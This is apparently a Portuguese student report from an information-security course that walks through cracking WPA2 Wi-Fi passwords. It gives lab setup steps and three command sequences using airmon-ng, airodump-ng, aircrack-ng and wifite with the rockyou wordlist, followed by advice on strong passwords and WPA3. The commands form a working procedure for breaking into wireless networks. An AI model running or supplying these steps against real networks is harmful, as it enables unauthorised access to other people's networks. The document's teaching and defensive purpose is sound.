RELATÓRIO CRACK WIFI WPA2

Objetivo:

O objetivo deste relatório é demonstrar como ferramentas de auditoria de redes sem fio, podem ser utilizadas para realizar a quebra de senhas em redes Wi-Fi protegidas por WPA2. Vamos explorar as etapas do processo, desde a captura do handshake de autenticação até a quebra efetiva da senha, analisando as vulnerabilidades presentes no protocolo WPA2 e como elas podem ser exploradas para obter acesso não autorizado a redes sem fio. Além disso, serão discutidos os conceitos técnicos relacionados à segurança em redes sem fio, como o handshake WPA2, ataques de dicionário e brute force, e a importância da utilização de senhas fortes para proteger redes contra ataques.

***Autor**: Enzo Arrue Juan Fuso*
***Faculdade**: Fatec São Caetano do Sul*
***Curso**: Segurança da Informação*

Ferramentas Utilizadas:

Adaptador Wifi com modo monitor, Kali Linux e Wifi Analyzer (Identifica a força da rede)

Metodologia

Requisitos:
Assim que conectar o adaptador wifi aparecerá o wifi (placa de rede do computador) e wifi2 (adaptador wifi), deixe "wifi" conectado a uma rede (3,4G ou rede privada da sua casa), enquanto o wifi2 sem estar conectado a nenhuma rede porém ativado (desative o "networkprofile"). Abra o VirtualBox -> vá em configurações do kali linux -> Rede -> Placa em modo bridge -> Interface de rede do seu PC -> Ative o modo promíscuo. Vá em USB -> Habilite -> USB 2.0 -> Clicar em um ícone em forma de usb com um + verde para adicionar filtro -> clica no chipset do seu adaptador.

Sequência códigos wpa2:

Método 1:
ip addr
iwconfig
sudo airmon-ng check kill
sudo wifite
(número da rede[linha] que quero conectar)

aguardar e vai aparecer a senha do wifi

Método 2 (roteador modo monitor):
Usa wordlist "probable"
ip addr
iwconfig
sudo airmon-ng start wlan0
sudo airmon-ng
iwconfig (verificar novamente)
sudo airodump-ng wlan0mon
ESSID / CHANEL (define a rede a se conectar)
sudo airodump-ng -w hack1 -c 2 --bssid {BSSID} wlan0mon
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

Método 3:
sudo airmon-ng check kill
sudo gzip /usr/share/wordlists/rockyou.txt.gz
sudo wifite --dict /usr/share/wordlists/rockyou.txt
(número da rede[linha] que deseja conectar)

Recomendações:

Senhas Fortes: *Utilizar senhas longas e complexas, com combinações de caracteres especiais, números e letras maiúsculas/minúsculas.*

Tipo de Segurança: *Utilizar a segurança WPA3, pois evita ataques similares de craqueamento de senhas wifi.*

Conclusão:

Este relatório destacou a eficácia de ferramentas na quebra de senhas WPA2, evidenciando a vulnerabilidade de redes que não adotam boas práticas de segurança, como o uso de senhas complexas e únicas. Através de um ataque de captura de handshake e a subsequente tentativa de quebra de senha, observamos como a proteção de redes Wi-Fi pode ser comprometida se senhas fracas ou padrões de segurança inadequados forem utilizados.

A conclusão é clara: para garantir a segurança em redes sem fio, é imprescindível utilizar senhas fortes, evitar padrões previsíveis e, sempre que possível, implementar autenticação adicional para mitigar riscos de invasões por ferramentas de quebra de senha. Além disso, é crucial a conscientização sobre a importância de técnicas de segurança em redes sem fio para proteger dados sensíveis contra acessos não autorizados.

Links Complementares:

Aircrack - https://www.aircrack-ng.org/

Baixar Kali Linux - https://www.kali.org/

WPA2 Pw-
https://www.cyberciti.biz/faq/how-to-crack-wifi-passwords-with-aircrack-ng/